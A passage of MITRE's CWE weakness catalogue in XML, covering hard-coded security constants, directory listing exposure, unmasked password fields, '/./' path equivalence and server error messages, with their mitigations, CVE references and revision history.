					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="547" Name="Use of Hard-coded, Security-relevant Constants" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The program uses hard-coded constants instead of symbolic names
					for security-critical values, which increases the likelihood of mistakes during
					code maintenance or security policy change.</Description_Summary>
				        <Extended_Description>
					          <Text>If the developer does not find all occurrences of the hard-coded
						constants, an incorrect policy decision may be made if one of the constants
						is not changed. Making changes to these values will require code changes
						that may be difficult or impossible once the system is released to the
						field. In addition, these hard-coded values may become available to
						attackers if the code is ever disclosed.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>398</Relationship_Target_ID>
					          <!--Indicator of Poor Code Quality-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>736</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 02 - Declarations and Initialization (DCL)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>898</Relationship_Target_ID>
					          <!--SFP Cluster: Authentication-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Quality degradation</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The existence of hardcoded constants could cause unexpected behavior
							and the introduction of weaknesses during code maintenance or when
							making changes to the code if all occurrences are not modified. The use
							of hardcoded constants is an indication of poor quality.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Avoid using hard-coded constants. Configuration files offer a more
							flexible solution.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The usage of symbolic names instead of hard-coded constants is
						preferred.</Intro_Text>
					          <Example_Body>
						            <Text>The following is an example of using a hard-coded constant instead of
							a symbolic name.</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>char buffer[1024];</Code>
							              <Code>...</Code>
							              <Code>fgets(buffer, 1024, stdin);</Code>
						            </Block>
						            <Text>If the buffer value needs to be changed, then it has to be altered in
							more than one place. If the developer forgets or does not find all
							occurences, in this example it could lead to a buffer overflow.</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>enum { MAX_BUFFER_SIZE = 1024 };</Code>
							              <Code>...</Code>
							              <Code>char buffer[MAX_BUFFER_SIZE];</Code>
							              <Code>...</Code>
							              <Code>fgets(buffer, MAX_BUFFER_SIZE, stdin);</Code>
						            </Block>
						            <Text>In this example the developer will only need to change one value and
							all references to the buffer size are updated, as a symbolic name is
							used instead of a hard-coded constant.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Anonymous Tool Vendor (under NDA)">
					          <Mapped_Node_Name/>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Use meaningful symbolic constants to represent literal values
						in program logic</Mapped_Node_Name>
					          <Mapped_Node_ID>DCL06-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Description, Potential_Mitigations, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Security-relevant
						Constants</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="548" Name="Information Exposure Through Directory Listing" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>A directory listing is inappropriately exposed, yielding
					potentially sensitive information to attackers.</Description_Summary>
				        <Extended_Description>
					          <Text>A directory listing provides an attacker with the complete index of all
						the resources located inside of the directory. The specific risks and
						consequences vary depending on which files are listed and accessible.
					</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>538</Relationship_Target_ID>
					          <!--File and Directory Information Exposure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>552</Relationship_Target_ID>
					          <!--Files or Directories Accessible to External Parties-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>731</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A10 - Insecure Configuration Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Exposing the contents of a directory can lead to an attacker gaining
							access to source code or providing useful information for the attacker
							to devise exploits, such as creation times of files or any information
							that may be encoded in file names. The directory listing may also
							compromise private or confidential data.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>System Configuration</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Recommendations include restricting access to important directories or
							files by adopting a need to know requirement for both the document and
							server root, and turning off features such as Automatic Directory
							Listings that could expose private files and provide information that
							could be utilized by an attacker when formulating or conducting an
							attack.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Anonymous Tool Vendor (under NDA)">
					          <Mapped_Node_Name/>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Insecure Configuration Management</Mapped_Node_Name>
					          <Mapped_Node_ID>A10</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>Directory Indexing </Mapped_Node_Name>
					          <Mapped_Node_ID>16</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>Veracode</Modifier_Organization>
					          <Modification_Date>2008-08-15</Modification_Date>
					          <Modification_Comment>Suggested OWASP Top Ten 2004
						mapping</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2011-03-29">Information Leak Through
						Directory Listing</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="549" Name="Missing Password Field Masking" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not mask passwords during entry, increasing
					the potential for attackers to observe and capture
					passwords.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>255</Relationship_Target_ID>
					          <!--Credentials Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>355</Relationship_Target_ID>
					          <!--User Interface Security Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>522</Relationship_Target_ID>
					          <!--Insufficiently Protected Credentials-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>906</Relationship_Target_ID>
					          <!--SFP Cluster: UI-->
				</Relationship>
			      </Relationships>
			      <Other_Notes>
				        <Note>
					          <Text>Basic web application security measures include masking all passwords
						entered by a user when logging in to a web application. Normally, each
						character in a password entered by a user is instead represented with an
						asterisk.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Phase>Requirements</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Recommendations include requiring all password fields in your web
							application be masked to prevent other users from seeing this
							information.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <References>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 19: Use of Weak Password-Based Systems." Page
						279</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Anonymous Tool Vendor (under NDA)">
					          <Mapped_Node_Name/>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="55" Name="Path Equivalence: '/./' (Single Dot Directory)" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>A software system that accepts path input in the form of single
					dot directory exploit ('/./') without appropriate validation can lead to
					ambiguous path resolution and allow an attacker to traverse the file system to
					unintended locations or access arbitrary files.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>41</Relationship_Target_ID>
					          <!--Improper Resolution of Path Equivalence-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0004</Observed_Example_Reference>
					          <Observed_Example_Description> Server allows remote attackers to read source
						code for executable files by inserting a . (dot) into the URL.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0304</Observed_Example_Reference>
					          <Observed_Example_Description> Server allows remote attackers to read
						password-protected files via a /./ in the HTTP request.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>BID:6042</Observed_Example_Reference>
					          <Observed_Example_Description>Input Validation
						error</Observed_Example_Description>
					          <Observed_Example_Link>http://www.securityfocus.com/bid/6042</Observed_Example_Link>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-1083</Observed_Example_Reference>
					          <Observed_Example_Description>Possibly (could be a cleansing
						error)</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0815</Observed_Example_Reference>
					          <Observed_Example_Description>"/./////etc" cleansed to ".///etc" then
						"/etc"</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0112</Observed_Example_Reference>
					          <Observed_Example_Description> Server allows remote attackers to view password
						protected files via /./ in the URL. </Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>/./ (single dot directory)</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Path Issue - Single Dot
						Directory - /./</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="550" Name="Information Exposure Through Server Error Message" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>Certain conditions, such as network failure, will cause a
					server error message to be displayed.</Description_Summary>
				        <Extended_Description>
					          <Text>While error messages in and of themselves are not dangerous, per se, it is
						what an attacker can glean from them that might cause eventual
						problems.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>209</Relationship_Target_ID>
					          <!--Information Exposure Through an Error Message-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>System Configuration</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Recommendations include designing and adding consistent error handling
							mechanisms which are capable of handling any user input to your web
							application, providing meaningful detail to end-users, and preventing
							error messages that might provide information useful to an attacker from
							being displayed.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Anonymous Tool Vendor (under NDA)">
					          <Mapped_Node_Name/>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
